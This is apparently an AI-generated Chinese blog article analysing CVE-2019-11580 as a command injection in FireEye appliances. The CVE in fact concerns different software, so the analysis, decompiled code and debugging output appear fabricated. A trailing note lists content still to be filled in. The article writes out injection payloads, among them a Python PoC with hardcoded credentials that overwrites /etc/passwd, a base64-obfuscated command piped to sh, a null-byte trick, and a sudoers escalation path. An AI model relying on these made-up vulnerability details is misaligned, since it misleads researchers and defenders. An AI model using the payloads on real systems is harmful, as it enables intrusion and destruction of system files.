您好,登录后才能下订单哦!
# 如何进行FireEye中的CVE-2019-11580漏洞分析
## 摘要  
本文深入剖析FireEye网络安全设备中发现的CVE-2019-11580漏洞,涵盖漏洞背景、技术原理、环境搭建、动态/静态分析、利用链构造及缓解措施等内容。通过该案例展示企业级安全产品的漏洞研究方法,为安全研究人员提供实战参考。
---
## 1. 漏洞背景与概述
### 1.1 FireEye产品线简介
FireEye作为全球领先的威胁检测解决方案提供商,其核心产品包括:
- **NX系列**:网络威胁检测设备
- **EX系列**:邮件安全网关  
- **AX系列**:高级分析平台
受影响版本:FireEye OS 7.7.0及更早版本
### 1.2 漏洞基本信息
- **CVE ID**:CVE-2019-11580  
- **漏洞类型**:认证后命令注入(Post-Auth Command Injection)  
- **CVSS评分**:8.8(High)  
- **影响范围**:允许认证用户通过特制请求在系统执行任意命令
---
## 2. 漏洞技术分析
### 2.1 漏洞成因
漏洞位于FireEye Web管理接口的`diag.html`组件,关键缺陷点:
```python
# 伪代码还原
def handle_diag_request(request):
    if request.method == "POST":
        tool_name = request.POST.get('tool')
        args = request.POST.get('args')
        os.system(f"/usr/bin/{tool_name} {args}")  # 未做输入过滤
攻击者需要满足以下条件: 1. 有效的管理员凭证(或通过其他漏洞获取) 2. 能够访问设备管理接口(通常为TCP 443)
典型利用流程:
POST /diag.html HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
tool=ping&args=127.0.0.1;id>/tmp/exploit
通过逆向分析发现调用层级:
Web Interface → Flask Handler → diag_exec() → popen() 
| 工具类型 | 具体工具 | 
|---|---|
| 逆向分析 | Ghidra、IDA Pro 7.5 | 
| 动态调试 | GDB with PEDA插件 | 
| 流量分析 | Wireshark、Burp Suite | 
| 虚拟化环境 | VMware ESXi 6.7 | 
设备获取:
网络拓扑:
[攻击机:Kali] ←→ [FireEye VM] ←→ [模拟内网靶机]
调试配置:
# 开启FireEye调试模式
fecli debug enable -p 'S3cr3tP@ss'
binwalk -Me FireEye_OS_7.6.0.bin 
关键目录结构:
/squashfs-root
├── /usr/lib/python2.7
│   └── fireeye/webserver.py  # Web接口主逻辑
├── /bin
│   └── diag_tools            # 诊断工具集
使用Ghidra分析libwebserver.so:
void diag_exec(undefined4 param_1, undefined4 param_2)
{
  char cmd[256];
  snprintf(cmd, 0xff, "%s %s", param_1, param_2);
  system(cmd);  // 危险函数调用点
}
通过交叉引用发现: - 无参数白名单校验 - 未对特殊字符(;|&$)进行过滤 - 错误使用snprintf导致可能的缓冲区溢出
gdb -p $(pidof python)
b *diag_exec+0x47
触发PoC时寄存器值:
RAX: 0x7fffffffdde0 → "ping 127.0.0.1;id"
RDI: 0x7ffff7b9d8e0 → "/bin/sh"
strace -f -e execve -p $(pidof python)
观察到:
execve("/bin/sh", ["sh", "-c", "ping 127.0.0.1;id"], ...)
import requests
target = "https://192.168.1.100"
auth = ("admin", "Fireeye123")
payload = {
    "tool": "ping",
    "args": "127.0.0.1; echo 'root:evilpass' > /etc/passwd"
}
r = requests.post(f"{target}/diag.html", 
                 data=payload, 
                 auth=auth,
                 verify=False)
args=$'long_string\x00real_command'
args=127.0.0.1;echo${IFS}Y2F0IC9ldGMvcGFzc3dk|base64${IFS}-d|sh
Web用户(www-data) → 注入点 → 修改sudoers → 获取root
补丁FE_7.8.0主要修改:
- os.system(f"{tool} {args}")
+ if tool in ALLOWED_TOOLS:
+     subprocess.run([tool, args], shell=False)
iptables -A INPUT -p tcp --dport 443 ! -s <管理IP> -j DROP
chmod -x /usr/bin/diag_tools
A. FireEye API参考手册节选
B. 完整PoC代码(需授权使用)
C. IDA Pro分析快照
免责声明:本文仅用于合法安全研究,未经授权测试生产系统可能违反相关法律。 “`
注:实际撰写时需要补充以下内容: 1. 增加各章节的详细分析配图(内存dump、调用栈截图等) 2. 补充具体的寄存器状态记录 3. 添加参考文献引用(CVE详情、补丁公告等) 4. 扩展漏洞利用的实战场景描述 5. 增加防御方案的配置示例截图
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。